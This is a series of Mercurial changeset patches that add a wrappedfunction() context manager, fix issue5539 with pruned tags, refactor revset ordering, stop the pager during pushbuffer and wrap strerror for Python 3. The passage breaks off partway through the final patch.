extensions: add wrappedfunction() context manager

Several extensions exist that temporarily want to wrap a function (at
least narrowhg, any many of the extensions in hg-experimental). That's
why we have the unwrapfunction() that was introduced in 19578bb84731
(extensions: add unwrapfunction to undo wrapfunction, 2016-08-10).

This patch adds a simple wrappedfunction() that returns a context
manager.

Differential Revision: https://phab.mercurial-scm.org/D472

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -399,6 +399,21 @@
         raise AttributeError(r"type '%s' has no property '%s'" % (
             cls, propname))
 
+class wrappedfunction(object):
+    '''context manager for temporarily wrapping a function'''
+
+    def __init__(self, container, funcname, wrapper):
+        assert callable(wrapper)
+        self._container = container
+        self._funcname = funcname
+        self._wrapper = wrapper
+
+    def __enter__(self):
+        wrapfunction(self._container, self._funcname, self._wrapper)
+
+    def __exit__(self, exctype, excvalue, traceback):
+        unwrapfunction(self._container, self._funcname, self._wrapper)
+
 def wrapfunction(container, funcname, wrapper):
     '''Wrap the function named funcname in container
 
diff --git a/tests/test-extensions-wrapfunction.py b/tests/test-extensions-wrapfunction.py
--- a/tests/test-extensions-wrapfunction.py
+++ b/tests/test-extensions-wrapfunction.py
@@ -37,3 +37,20 @@
 batchwrap(wrappers + [wrappers[0]])
 batchunwrap([(wrappers[i] if i >= 0 else None)
              for i in [3, None, 0, 4, 0, 2, 1, None]])
+
+wrap0 = extensions.wrappedfunction(dummy, 'getstack', wrappers[0])
+wrap1 = extensions.wrappedfunction(dummy, 'getstack', wrappers[1])
+
+# Use them in a different order from how they were created to check that
+# the wrapping happens in __enter__, not in __init__
+print('context manager', dummy.getstack())
+with wrap1:
+    print('context manager', dummy.getstack())
+    with wrap0:
+        print('context manager', dummy.getstack())
+        # Bad programmer forgets to unwrap the function, but the context
+        # managers still unwrap their wrappings.
+        extensions.wrapfunction(dummy, 'getstack', wrappers[2])
+        print('context manager', dummy.getstack())
+    print('context manager', dummy.getstack())
+print('context manager', dummy.getstack())
diff --git a/tests/test-extensions-wrapfunction.py.out b/tests/test-extensions-wrapfunction.py.out
--- a/tests/test-extensions-wrapfunction.py.out
+++ b/tests/test-extensions-wrapfunction.py.out
@@ -12,3 +12,9 @@
 unwrap 2: 2: [1, 'orig']
 unwrap 1: 1: ['orig']
 unwrap -: -: IndexError
+context manager ['orig']
+context manager [1, 'orig']
+context manager [0, 1, 'orig']
+context manager [2, 0, 1, 'orig']
+context manager [2, 1, 'orig']
+context manager [2, 'orig']
# HG changeset patch
# User Denis Laxalde <denis@laxalde.org>
# Date 1503998722 -7200
#      Tue Aug 29 11:25:22 2017 +0200
# Node ID 2d80e078724a69d70e0b28a5a5f0bbaf0f372e2b
# Parent  47e52f079a579b652deeae2bef6b71d7f17232a6
tag: use filtered repo when creating new tags (issue5539)

When pruning a changeset that added a tag and then adding another tag, the
"pruned" tag gets restored. This is because the tag creation step (tags._tag()
call in tags.tag()) is currently done on the unfiltered repo. This behavior
has been there from 7977d35df13b which backs out b08af8f0ac01 with no clear
reason but caution on unthought situations at that time. In this changeset, we
pass the filtered repo to tags._tag(), preventing "pruned" tags to reappear.
This somehow restores b08af8f0ac01, though now we arguably have a valid use
case for.

diff --git a/mercurial/tags.py b/mercurial/tags.py
--- a/mercurial/tags.py
+++ b/mercurial/tags.py
@@ -541,7 +541,7 @@
 
     with repo.wlock():
         repo.tags() # instantiate the cache
-        _tag(repo.unfiltered(), names, node, message, local, user, date,
+        _tag(repo, names, node, message, local, user, date,
              editor=editor)
 
 def _tag(repo, names, node, message, local, user, date, extra=None,
diff --git a/tests/test-tag.t b/tests/test-tag.t
--- a/tests/test-tag.t
+++ b/tests/test-tag.t
@@ -411,6 +411,59 @@
   abort: cannot tag null revision
   [255]
 
+issue5539: pruned tags do not appear in .hgtags
+
+  $ cat >> $HGRCPATH << EOF
+  > [experimental]
+  > stabilization=createmarkers,exchange
+  > EOF
+  $ hg up e4d483960b9b --quiet
+  $ echo aaa >>a
+  $ hg ci -maaa
+  $ hg log -r . -T "{node}\n"
+  743b3afd5aa69f130c246806e48ad2e699f490d2
+  $ hg tag issue5539
+  hook: tag changes detected
+  hook: +A 743b3afd5aa69f130c246806e48ad2e699f490d2 issue5539
+  $ cat .hgtags
+  acb14030fe0a21b60322c440ad2d20cf7685a376 foobar
+  a0eea09de1eeec777b46f2085260a373b2fbc293 newline
+  743b3afd5aa69f130c246806e48ad2e699f490d2 issue5539
+  $ hg log -r . -T "{node}\n"
+  abeb261f0508ecebcd345ce21e7a25112df417aa
+(mimic 'hg prune' command by obsoleting current changeset and then moving to its parent)
+  $ hg debugobsolete abeb261f0508ecebcd345ce21e7a25112df417aa --record-parents
+  obsoleted 1 changesets
+  $ hg up ".^" --quiet
+  $ cat .hgtags
+  acb14030fe0a21b60322c440ad2d20cf7685a376 foobar
+  a0eea09de1eeec777b46f2085260a373b2fbc293 newline
+  $ echo bbb >>a
+  $ hg ci -mbbb
+  $ hg log -r . -T "{node}\n"
+  089dd20da58cae34165c37b064539c6ac0c6a0dd
+  $ hg tag issue5539
+  hook: tag changes detected
+  hook: -M 743b3afd5aa69f130c246806e48ad2e699f490d2 issue5539
+  hook: +M 089dd20da58cae34165c37b064539c6ac0c6a0dd issue5539
+  $ hg id
+  0accf560a709 tip
+  $ cat .hgtags
+  acb14030fe0a21b60322c440ad2d20cf7685a376 foobar
+  a0eea09de1eeec777b46f2085260a373b2fbc293 newline
+  089dd20da58cae34165c37b064539c6ac0c6a0dd issue5539
+  $ hg tags
+  tip                               19:0accf560a709
+  issue5539                         18:089dd20da58c
+  new-topo-head                     13:0f26aaea6f74
+  baz                               13:0f26aaea6f74
+  custom-tag                        12:75a534207be6
+  tag-and-branch-same-name          11:fc93d2ea1cd7
+  newline                            9:a0eea09de1ee
+  localnewline                       8:c2899151f4e7
+  localblah                          0:acb14030fe0a
+  foobar                             0:acb14030fe0a
+
   $ cd ..
 
 tagging on an uncommitted merge (issue2542)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504099967 -32400
#      Wed Aug 30 22:32:47 2017 +0900
# Node ID 96f249dce03ef5d308c7ab8e406e0527b91aae0b
# Parent  2d80e078724a69d70e0b28a5a5f0bbaf0f372e2b
revset: move order constants from revsetlang

Thanks to the recent refactor, the ordering rule is fully processed at
runtime.

diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -40,16 +40,53 @@
 getargs = revsetlang.getargs
 getargsdict = revsetlang.getargsdict
 
-# constants used as an argument of match() and matchany()
-anyorder = revsetlang.anyorder
-defineorder = revsetlang.defineorder
-followorder = revsetlang.followorder
-
 baseset = smartset.baseset
 generatorset = smartset.generatorset
 spanset = smartset.spanset
 fullreposet = smartset.fullreposet
 
+# Constants for ordering requirement, used in getset():
+#
+# If 'define', any nested functions and operations MAY change the ordering of
+# the entries in the set (but if changes the ordering, it MUST ALWAYS change
+# it). If 'follow', any nested functions and operations MUST take the ordering
+# specified by the first operand to the '&' operator.
+#
+# For instance,
+#
+#   X & (Y | Z)
+#   ^   ^^^^^^^
+#   |   follow
+#   define
+#
+# will be evaluated as 'or(y(x()), z(x()))', where 'x()' can change the order
+# of the entries in the set, but 'y()', 'z()' and 'or()' shouldn't.
+#
+# 'any' means the order doesn't matter. For instance,
+#
+#   (X & Y) | ancestors(Z)
+#        ^              ^
+#        any            any
+#
+# For 'X & Y', 'X' decides order so the order of 'Y' does not matter. For
+# 'ancestors(Z)', Z's order does not matter since 'ancestors' does not care
+# about the order of its argument.
+#
+# Currently, most revsets do not care about the order, so 'define' is
+# equivalent to 'follow' for them, and the resulting order is based on the
+# 'subset' parameter passed down to them:
+#
+#   m = revset.match(..., order=defineorder)
+#   m(repo, subset)
+#           ^^^^^^
+#      For most revsets, 'define' means using the order this subset provides
+#
+# There are a few revsets that always redefine the order if 'define' is
+# specified: 'sort(X)', 'reverse(X)', 'x:y'.
+anyorder = 'any'        # don't care the order, could be even random-shuffled
+defineorder = 'define'  # ALWAYS redefine, or ALWAYS follow the current order
+followorder = 'follow'  # MUST follow the current order
+
 # helpers
 
 def getset(repo, subset, x, order=defineorder):
diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -258,48 +258,6 @@
         return
     return x[2]
 
-# Constants for ordering requirement, used in getset():
-#
-# If 'define', any nested functions and operations MAY change the ordering of
-# the entries in the set (but if changes the ordering, it MUST ALWAYS change
-# it). If 'follow', any nested functions and operations MUST take the ordering
-# specified by the first operand to the '&' operator.
-#
-# For instance,
-#
-#   X & (Y | Z)
-#   ^   ^^^^^^^
-#   |   follow
-#   define
-#
-# will be evaluated as 'or(y(x()), z(x()))', where 'x()' can change the order
-# of the entries in the set, but 'y()', 'z()' and 'or()' shouldn't.
-#
-# 'any' means the order doesn't matter. For instance,
-#
-#   (X & Y) | ancestors(Z)
-#        ^              ^
-#        any            any
-#
-# For 'X & Y', 'X' decides order so the order of 'Y' does not matter. For
-# 'ancestors(Z)', Z's order does not matter since 'ancestors' does not care
-# about the order of its argument.
-#
-# Currently, most revsets do not care about the order, so 'define' is
-# equivalent to 'follow' for them, and the resulting order is based on the
-# 'subset' parameter passed down to them:
-#
-#   m = revset.match(..., order=defineorder)
-#   m(repo, subset)
-#           ^^^^^^
-#      For most revsets, 'define' means using the order this subset provides
-#
-# There are a few revsets that always redefine the order if 'define' is
-# specified: 'sort(X)', 'reverse(X)', 'x:y'.
-anyorder = 'any'        # don't care the order, could be even random-shuffled
-defineorder = 'define'  # ALWAYS redefine, or ALWAYS follow the current order
-followorder = 'follow'  # MUST follow the current order
-
 def _matchonly(revs, bases):
     """
     >>> f = lambda *args: _matchonly(*map(parse, args))
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504104810 -32400
#      Wed Aug 30 23:53:30 2017 +0900
# Node ID 62cc1f17c571d7ff917421afed061a48ba00b6cc
# Parent  96f249dce03ef5d308c7ab8e406e0527b91aae0b
revset: fix example describing how ordering is determined

It was 'X & !Y' before.

diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -64,13 +64,13 @@
 #
 # 'any' means the order doesn't matter. For instance,
 #
-#   (X & Y) | ancestors(Z)
-#        ^              ^
-#        any            any
+#   (X & !Y) | ancestors(Z)
+#         ^              ^
+#         any            any
 #
-# For 'X & Y', 'X' decides order so the order of 'Y' does not matter. For
-# 'ancestors(Z)', Z's order does not matter since 'ancestors' does not care
-# about the order of its argument.
+# For 'X & !Y', 'X' decides the order and 'Y' is subtracted from 'X', so the
+# order of 'Y' does not matter. For 'ancestors(Z)', Z's order does not matter
+# since 'ancestors' does not care about the order of its argument.
 #
 # Currently, most revsets do not care about the order, so 'define' is
 # equivalent to 'follow' for them, and the resulting order is based on the
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504100496 -32400
#      Wed Aug 30 22:41:36 2017 +0900
# Node ID de286200f72292e29f00cfac7db656d20fcc6dc4
# Parent  62cc1f17c571d7ff917421afed061a48ba00b6cc
revset: move order argument to run-time match function

We no longer need the order flag to build a parsed tree.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2558,8 +2558,8 @@
         if not (revs.isdescending() or revs.istopo()):
             revs.sort(reverse=True)
     if expr:
-        matcher = revset.match(repo.ui, expr, order=revset.followorder)
-        revs = matcher(repo, revs)
+        matcher = revset.match(repo.ui, expr)
+        revs = matcher(repo, revs, order=revset.followorder)
     if limit is not None:
         limitedrevs = []
         for idx, rev in enumerate(revs):
@@ -2584,8 +2584,8 @@
         return smartset.baseset([]), None, None
     expr, filematcher = _makelogrevset(repo, pats, opts, revs)
     if expr:
-        matcher = revset.match(repo.ui, expr, order=revset.followorder)
-        revs = matcher(repo, revs)
+        matcher = revset.match(repo.ui, expr)
+        revs = matcher(repo, revs, order=revset.followorder)
     if limit is not None:
         limitedrevs = []
         for idx, r in enumerate(revs):
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -76,8 +76,8 @@
 # equivalent to 'follow' for them, and the resulting order is based on the
 # 'subset' parameter passed down to them:
 #
-#   m = revset.match(..., order=defineorder)
-#   m(repo, subset)
+#   m = revset.match(...)
+#   m(repo, subset, order=defineorder)
 #           ^^^^^^
 #      For most revsets, 'define' means using the order this subset provides
 #
@@ -2120,21 +2120,14 @@
     # hook for extensions to execute code on the optimized tree
     pass
 
-def match(ui, spec, repo=None, order=defineorder):
-    """Create a matcher for a single revision spec
+def match(ui, spec, repo=None):
+    """Create a matcher for a single revision spec"""
+    return matchany(ui, [spec], repo=repo)
 
-    If order=followorder, a matcher takes the ordering specified by the input
-    set.
-    """
-    return matchany(ui, [spec], repo=repo, order=order)
-
-def matchany(ui, specs, repo=None, order=defineorder, localalias=None):
+def matchany(ui, specs, repo=None, localalias=None):
     """Create a matcher that will include any revisions matching one of the
     given specs
 
-    If order=followorder, a matcher takes the ordering specified by the input
-    set.
-
     If localalias is not None, it is a dict {name: definitionstring}. It takes
     precedence over [revsetalias] config section.
     """
@@ -2166,11 +2159,11 @@
     tree = revsetlang.analyze(tree)
     tree = revsetlang.optimize(tree)
     posttreebuilthook(tree, repo)
-    return makematcher(tree, order)
+    return makematcher(tree)
 
-def makematcher(tree, order=defineorder):
+def makematcher(tree):
     """Create a matcher from an evaluatable tree"""
-    def mfunc(repo, subset=None):
+    def mfunc(repo, subset=None, order=defineorder):
         if subset is None:
             subset = fullreposet(repo)
         return getset(repo, subset, tree, order)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504101088 -32400
#      Wed Aug 30 22:51:28 2017 +0900
# Node ID 205c47e30a9361c77718e27c86d809799e7f853e
# Parent  de286200f72292e29f00cfac7db656d20fcc6dc4
revset: make match function follow given subset if specified (API)

This should be sensible default since mfunc(subset) is roughly equivalent
to 'subset & mfunc'. The order argument is still there so we can specify
'anyorder' if the order doesn't really matter.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2559,7 +2559,7 @@
             revs.sort(reverse=True)
     if expr:
         matcher = revset.match(repo.ui, expr)
-        revs = matcher(repo, revs, order=revset.followorder)
+        revs = matcher(repo, revs)
     if limit is not None:
         limitedrevs = []
         for idx, rev in enumerate(revs):
@@ -2585,7 +2585,7 @@
     expr, filematcher = _makelogrevset(repo, pats, opts, revs)
     if expr:
         matcher = revset.match(repo.ui, expr)
-        revs = matcher(repo, revs, order=revset.followorder)
+        revs = matcher(repo, revs)
     if limit is not None:
         limitedrevs = []
         for idx, r in enumerate(revs):
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -2163,7 +2163,12 @@
 
 def makematcher(tree):
     """Create a matcher from an evaluatable tree"""
-    def mfunc(repo, subset=None, order=defineorder):
+    def mfunc(repo, subset=None, order=None):
+        if order is None:
+            if subset is None:
+                order = defineorder  # 'x'
+            else:
+                order = followorder  # 'subset & x'
         if subset is None:
             subset = fullreposet(repo)
         return getset(repo, subset, tree, order)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504134312 25200
#      Wed Aug 30 16:05:12 2017 -0700
# Node ID 37b82485097f928edce95b31071734be9edc107b
# Parent  205c47e30a9361c77718e27c86d809799e7f853e
revset: do not flip "and" arguments when optimizing

Rewrite `flipand(y, x)` to `andsmally(x, y)` so the AST order is unchanged,
which could be more friendly to developers.

Differential Revision: https://phab.mercurial-scm.org/D579

diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -169,8 +169,8 @@
         yorder = followorder
     return getset(repo, getset(repo, subset, x, order), y, yorder)
 
-def flipandset(repo, subset, y, x, order):
-    # 'flipand(y, x)' is equivalent to 'and(x, y)', but faster when y is small
+def andsmallyset(repo, subset, x, y, order):
+    # 'andsmally(x, y)' is equivalent to 'and(x, y)', but faster when y is small
     if order == anyorder:
         yorder = anyorder
     else:
@@ -2101,7 +2101,7 @@
     "string": stringset,
     "symbol": stringset,
     "and": andset,
-    "flipand": flipandset,
+    "andsmally": andsmallyset,
     "or": orset,
     "not": notset,
     "difference": differenceset,
diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -374,7 +374,7 @@
         if tb is not None and tb[0] == 'not':
             return wa, ('difference', ta, tb[1])
         if wa > wb:
-            return w, ('flipand', tb, ta)
+            op = 'andsmally'
         return w, (op, ta, tb)
     elif op == 'or':
         # fast path for machine-generated expression, that is likely to have
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -714,11 +714,11 @@
       None)
     ('symbol', '2'))
   * optimized:
-  (flipand
-    ('symbol', '2')
+  (andsmally
     (func
       ('symbol', 'r3232')
-      None))
+      None)
+    ('symbol', '2'))
   * analyzed set:
   <baseset [2]>
   * optimized set:
@@ -2056,13 +2056,13 @@
       ('symbol', '_intlist')
       ('string', '0\x001\x002')))
   * optimized:
-  (flipand
+  (andsmally
+    (range
+      ('symbol', '2')
+      ('symbol', '0'))
     (func
       ('symbol', '_intlist')
-      ('string', '0\x001\x002'))
-    (range
-      ('symbol', '2')
-      ('symbol', '0')))
+      ('string', '0\x001\x002')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2130,13 +2130,13 @@
       ('symbol', '2')
       ('symbol', '0')))
   * optimized:
-  (flipand
+  (andsmally
+    (func
+      ('symbol', '_hexlist')
+      ('string', '*')) (glob)
     (range
       ('symbol', '2')
-      ('symbol', '0'))
-    (func
-      ('symbol', '_hexlist')
-      ('string', '*'))) (glob)
+      ('symbol', '0')))
   * set:
   <baseset [0, 2, 1]>
   0
@@ -2415,13 +2415,13 @@
           ('symbol', '0')
           ('symbol', '1')))))
   * optimized:
-  (flipand
+  (andsmally
+    (func
+      ('symbol', 'contains')
+      ('string', 'glob:*'))
     (func
       ('symbol', '_list')
-      ('string', '2\x000\x001'))
-    (func
-      ('symbol', 'contains')
-      ('string', 'glob:*')))
+      ('string', '2\x000\x001')))
   * set:
   <filteredset
     <baseset+ [0, 1, 2]>,
@@ -2447,15 +2447,15 @@
           ('symbol', '2')
           ('symbol', '1')))))
   * optimized:
-  (flipand
-    (func
-      ('symbol', '_list')
-      ('string', '0\x002\x001'))
+  (andsmally
     (func
       ('symbol', 'reverse')
       (func
         ('symbol', 'contains')
-        ('string', 'glob:*'))))
+        ('string', 'glob:*')))
+    (func
+      ('symbol', '_list')
+      ('string', '0\x002\x001')))
   * set:
   <filteredset
     <baseset- [0, 1, 2]>,
@@ -3154,11 +3154,11 @@
     (group
       None))
   * optimized:
-  (flipand
-    None
+  (andsmally
     (func
       ('symbol', 'ancestors')
-      ('symbol', '1')))
+      ('symbol', '1'))
+    None)
   hg: parse error: missing argument
   [255]
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504127095 25200
#      Wed Aug 30 14:04:55 2017 -0700
# Node ID 31a2eb0f74e59327c0e1b49ee848c126993a29dc
# Parent  37b82485097f928edce95b31071734be9edc107b
pager: do not start pager if `ui` has been `pushbuffer`-ed

The `pushbuffer`, `popbuffer` APIs are intended to capture internal output.
They will prevent `ui.write` from writing to the actual `ui.fout`. So a
pager won't receive the output and do the right thing. In general, it does
not make sense to start a pager if ui is in the "pushbuffer" mode.

Differential Revision: https://phab.mercurial-scm.org/D574

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -962,6 +962,7 @@
             # formatted() will need some adjustment.
             or not self.formatted()
             or self.plain()
+            or self._buffers
             # TODO: expose debugger-enabled on the UI object
             or '--debugger' in pycompat.sysargv):
             # We only want to paginate if the ui appears to be
diff --git a/tests/test-pager.t b/tests/test-pager.t
--- a/tests/test-pager.t
+++ b/tests/test-pager.t
@@ -340,6 +340,20 @@
    9: a 9
   10: a 10
 
+During pushbuffer, pager should not start:
+  $ cat > $TESTTMP/pushbufferpager.py <<EOF
+  > def uisetup(ui):
+  >     ui.pushbuffer()
+  >     ui.pager('mycmd')
+  >     ui.write('content\n')
+  >     ui.write(ui.popbuffer())
+  > EOF
+
+  $ echo append >> a
+  $ hg --config extensions.pushbuffer=$TESTTMP/pushbufferpager.py status --color=off
+  content
+  paged! 'M a\n'
+
 Environment variables like LESS and LV are set automatically:
   $ cat > $TESTTMP/printlesslv.py <<EOF
   > from __future__ import absolute_import
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503446587 14400
#      Tue Aug 22 20:03:07 2017 -0400
# Node ID d5b2beca16c05f4f60fbd941682d47f053ccb909
# Parent  31a2eb0f74e59327c0e1b49ee848c126993a29dc
python3: wrap all uses of <exception>.strerror with strtolocal

Our string literals are bytes, and we mostly want to %-format a
strerror into a one of those literals, so this fixes a ton of issues.

diff --git a/hgext/convert/common.py b/hgext/convert/common.py
--- a/hgext/convert/common.py
+++ b/hgext/convert/common.py
@@ -15,6 +15,7 @@
 
 from mercurial.i18n import _
 from mercurial import (
+    encoding,
     error,
     phases,
     util,
@@ -475,8 +476,9 @@
             try:
                 self.fp = open(self.path, 'a')
             except IOError as err:
-                raise error.Abort(_('could not open map file %r: %s') %
-                                 (self.path, err.strerror))
+                raise error.Abort(
+                    _('could not open map file %r: %s') %
+                    (self.path, encoding.strtolocal(err.strerror)))
         self.fp.write('%s %s\n' % (key, value))
         self.fp.flush()
         super(mapfile, self).__setitem__(key, value)
diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -80,6 +80,7 @@
     cmdutil,
     commands,
     dirstateguard,
+    encoding,
     error,
     extensions,
     hg,
@@ -1206,7 +1207,7 @@
                 p = self.opener(patchfn, "w")
             except IOError as e:
                 raise error.Abort(_('cannot write patch "%s": %s')
-                                 % (patchfn, e.strerror))
+                                 % (patchfn, encoding.strtolocal(e.strerror)))
             try:
                 defaultmsg = "[mq]: %s" % patchfn
                 editor = cmdutil.getcommiteditor(editform=editform)
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -777,7 +777,7 @@
                 message = '\n'.join(util.readfile(logfile).splitlines())
         except IOError as inst:
             raise error.Abort(_("can't read commit message '%s': %s") %
-                             (logfile, inst.strerror))
+                             (logfile, encoding.strtolocal(inst.strerror)))
     return message
 
 def mergeeditform(ctxorbool, baseformname):
@@ -1099,7 +1099,7 @@
                     srcexists = False
                 else:
                     ui.warn(_('%s: cannot copy - %s\n') %
-                            (relsrc, inst.strerror))
+                            (relsrc, encoding.strtolocal(inst.strerror)))
                     return True # report a failure
 
         if ui.verbose or not exact:
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -982,7 +982,7 @@
                             matchedir(nf)
                         notfoundadd(nf)
                     else:
-                        badfn(ff, inst.strerror)
+                        badfn(ff, encoding.strtolocal(inst.strerror))
 
         # Case insensitive filesystems cannot rely on lstat() failing to detect
         # a case-only rename.  Prune the stat object for any file that does not
@@ -1088,7 +1088,8 @@
                     entries = listdir(join(nd), stat=True, skip=skip)
                 except OSError as inst:
                     if inst.errno in (errno.EACCES, errno.ENOENT):
-                        match.bad(self.pathto(nd), inst.strerror)
+                        match.bad(self.pathto(nd),
+                                  encoding.strtolocal(inst.strerror))
                         continue
                     raise
                 for f, kind, st in entries:
diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -88,7 +88,8 @@
             status = -1
     if util.safehasattr(req.ui, 'ferr'):
         if err is not None and err.errno != errno.EPIPE:
-            req.ui.ferr.write('abort: %s\n' % err.strerror)
+            req.ui.ferr.write('abort: %s\n' %
+                              encoding.strtolocal(err.strerror))
         req.ui.ferr.flush()
     sys.exit(status & 255)
 
@@ -676,7 +677,7 @@
             wd = pycompat.getcwd()
         except OSError as e:
             raise error.Abort(_("error getting current working directory: %s") %
-                              e.strerror)
+                              encoding.strtolocal(e.strerror))
     path = cmdutil.findrepo(wd) or ""
     if not path:
         lui = ui
diff --git a/mercurial/hgweb/common.py b/mercurial/hgweb/common.py
--- a/mercurial/hgweb/common.py
+++ b/mercurial/hgweb/common.py
@@ -178,7 +178,8 @@
         if err.errno == errno.ENOENT:
             raise ErrorResponse(HTTP_NOT_FOUND)
         else:
-            raise ErrorResponse(HTTP_SERVER_ERROR, err.strerror)
+            raise ErrorResponse(HTTP_SERVER_ERROR,
+                                encoding.strtolocal(err.strerror))
 
 def paritygen(stripecount, offset=0):
     """count parity of horizontal stripes for easier reading"""
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -289,7 +289,7 @@
                         repo = hg.repository(self.ui.copy(), real)
                         return hgweb_mod.hgweb(repo).run_wsgi(req)
                     except IOError as inst:
-                        msg = inst.strerror
+                        msg = encoding.strtolocal(inst.strerror)
                         raise ErrorResponse(HTTP_SERVER_ERROR, msg)
                     except error.RepoError as inst:
                         raise ErrorResponse(HTTP_SERVER_ERROR, str(inst))
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -163,7 +163,8 @@
             ui.warn(_("(lock might be very busy)\n"))
     except error.LockUnavailable as inst:
         ui.warn(_("abort: could not lock %s: %s\n") %
-               (inst.desc or inst.filename, inst.strerror))
+               (inst.desc or inst.filename,
+                encoding.strtolocal(inst.strerror)))
     except error.OutOfBandError as inst:
         if inst.args:
             msg = _("abort: remote error:\n")
@@ -226,16 +227,18 @@
             pass
         elif getattr(inst, "strerror", None):
             if getattr(inst, "filename", None):
-                ui.warn(_("abort: %s: %s\n") % (inst.strerror, inst.filename))
+                ui.warn(_("abort: %s: %s\n") % (
+                    encoding.strtolocal(inst.strerror), inst.filename))
             else:
-                ui.warn(_("abort: %s\n") % inst.strerror)
+                ui.warn(_("abort: %s\n") % encoding.strtolocal(inst.strerror))
         else:
             raise
     except OSError as inst:
         if getattr(inst, "filename", None) is not None:
-            ui.warn(_("abort: %s: '%s'\n") % (inst.strerror, inst.filename))
+            ui.warn(_("abort: %s: '%s'\n") % (
+                encoding.strtolocal(inst.strerror), inst.filename))
         else:
-            ui.warn(_("abort: %s\n") % inst.strerror)
+            ui.warn(_("abort: %s\n") % encoding.strtolocal(inst.strerror))
     except MemoryError:
         ui.warn(_("abort: out of memory\n"))
     except SystemExit as inst:
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -1346,7 +1346,8 @@
             genericerror = _("error executing git for subrepo '%s': %s")
             notfoundhint = _("check git is installed and in your PATH")
             if e.errno != errno.ENOENT:
-                raise error.Abort(genericerror % (self._path, e.strerror))
+                raise error.Abort(genericerror % (
+                    self._path, encoding.strtolocal(e.strerror)))
             elif pycompat.osname == 'nt':
                 try:
                     self._gitexecutable = 'git.cmd'
@@ -1358,7 +1359,7 @@
                             hint=notfoundhint)
                     else:
                         raise error.Abort(genericerror % (self._path,
-                            e2.strerror))
+                            encoding.strtolocal(e2.strerror)))
             else:
                 raise error.Abort(_("couldn't find git for subrepo '%s'")
                     % self._path, hint=notfoundhint)
diff --git a/mercurial/vfs.py b/mercurial/vfs.py
--- a/mercurial/vfs.py
+++ b/mercurial/vfs.py
@@ -16,6 +16,7 @@
 
 from .i18n import _
 from . import (
+    encoding,
     error,
     pathutil,
     pycompat,
@@ -434,7 +435,8 @@
                 os.symlink(src, linkname)
             except OSError as err:
                 raise OSError(err.errno, _('could not symlink to %r: %s') %
-                              (src, err.strerror), linkname)
+                              (src, encoding.strtolocal(err.strerror)),
+                              linkname)
         else:
             self.write(dst, src)
 
diff --git a/mercurial/win32.py b/mercurial/win32.py
--- a/mercurial/win32.py
+++ b/mercurial/win32.py
@@ -286,7 +286,8 @@
     if code > 0x7fffffff:
         code -= 2**32
     err = ctypes.WinError(code=code)
-    raise OSError(err.errno, '%s: %s' % (name, err.strerror))
+    raise OSError(err.errno, '%s: %s' % (name,
+                                         encoding.strtolocal(err.strerror)))
 
 def _getfileinfo(name):
     fh = _kernel32.CreateFileA(name, 0,
diff --git a/mercurial/windows.py b/mercurial/windows.py
--- a/mercurial/windows.py
+++ b/mercurial/windows.py
@@ -137,7 +137,8 @@
         return fp
     except WindowsError as err:
         # convert to a friendlier exception
-        raise IOError(err.errno, '%s: %s' % (name, err.strerror))
+        raise IOError(err.errno, '%s: %s' % (
+            name, encoding.strtolocal(err.strerror)))
 
 # may be wrapped by win32mbcs extension
 listdir = osutil.listdir
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503446818 14400
#      Tue Aug 22 20:06:58 2017 -0400
# Node ID ba479850c9c79379743451faa28700afb581ea7a
# Parent  d5b2beca16c05f4f60fbd941682d47f053ccb909
python3: replace sorted(<dict>.iterkeys()) with sorted(<dict>)

diff --git a/contrib/synthrepo.py b/contrib/synthrepo.py
--- a/contrib/synthrepo.py
+++ b/contrib/synthrepo.py
@@ -479,7 +479,7 @@
         date = min(0x7fffffff, max(0, date))
